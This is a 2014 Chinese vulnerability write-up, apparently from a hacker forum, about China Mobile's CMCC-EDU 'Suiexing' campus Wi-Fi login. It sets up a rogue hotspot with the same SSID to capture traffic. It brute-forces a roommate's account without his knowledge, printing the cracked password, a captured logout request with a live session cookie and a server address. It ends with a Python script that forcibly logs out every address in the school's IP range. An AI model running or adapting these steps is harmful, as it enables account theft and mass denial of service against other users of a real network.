移动CMCC-EDU随E行指定账号爆破、指定Ip上线下线下载

来源：黑吧安全网　浏览：734次　时间：2014-07-05

移动随E行应用在用户登陆时，没做任何限制，导致账号被爆破的可能。另外在上线和下线时，后台是通过表单里的wlanuserip字段来为判断依据，该字段可控明显有问题。测试目标：移动最新IOS版随E行

无线网测试环境：CMCC-EDU

老规矩首先用电脑连上CMCC-EDU网络

接着CMD下：

netsh wlan set hostednetwork mode=allow ssid=CMCC-EDU key=00000000&&netsh wlan start hostednetwork

解释下，这是用来共享wifi信号，相信许多同学都用过,注意这里这里的SSID要和公共热点名称一样，因为用随E行登陆时，它会判断你的SSID是否为移动的热点名称。做这些准备是为了抓取手机的HTTP包（对于开放网络抓包可以不用这样麻烦，只是为了更好的演示），然后电脑打开Burpsuite代理（监听所有接口），接着用手机连上自己CMCC-EDU信号（注意是加锁的），设置好代理地址和端口

这些准备工作做完就可以打开随E行登陆抓包了，演示方便拿我宿友的账号来做测试，我不知道他的密码，其实他自己也不知道，因为他平时只用动态密码。

抓包图如下：

抓到包后就可以爆破了，然后就是耐心的等待，返回内容里包含LOGOUT意味着成功爆破

运气还不错一会就爆破到了，密码：207891。此时已是登陆状态，已经可以上网了，想验证爆破出来的密码是否正确，需要先退出在登陆。接着抓取退出的POST包，具体内容如下：

POST /suiexingclient.jsp HTTP/1.1

Host: 211.138.195.124

Proxy-Connection: keep-alive

Content-Type: application/x-www-form-urlencoded

Accept-Encoding: gzip, deflate

Cookie: JSESSIONID=rv4GT5dphVVcTC1y0kQR9K2F2p1Nn2VmlBJJpB5G91lxlMynYh7M!-189125796; sto-id-20480=BCFBIFKMJABP

Accept-Language: zh-cn

Accept: */*

Content-Length: 108

Connection: keep-alive

User-Agent: G3WLAN



wlanacssid=CMCC&wlanacname=0116.0510.250.00&wlanuserip=10.31.111.58&actiontype=LOGOUT&logonsessid=1480830767

通过发送的内容可以看出，可能通过字段里的IP来实现下线的，为了验证这一想法，可以修改IP内容，我们学校的IP范围在10.31.110.1-10.31.117.255,写个脚本验证下。

import socket

import httplib2

import urllib

def get_my_ip():

    try:

        csock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

        csock.connect(('8.8.8.8', 80))

        (addr, port) = csock.getsockname()

        csock.close()

        return addr

    except socket.error:

        return "127.0.0.1"



def offline(ip):

    urlstr = 'http://211.138.195.124/suiexingclient.jsp'

    data = dict(wlanacname="0116.0510.250.00",wlanuserip=ip,actiontype="LOGOUT",logonsessid="480050378")

    h = httplib2.Http('.cache')

    

    response,content = h.request(

        urlstr, 

        'POST', 

        urllib.parse.urlencode(data),

        headers={'Content-Type': 'application/x-www-form-urlencoded'}

        )

    #sleep(100)

    print(ip+"下线成功！")



if __name__ == "__main__":

	ip=get_my_ip()

	offline(ip)

	for i in range(110,120):

		for j in range(0,255):

			offline("10.31."+str(i)+"."+str(j))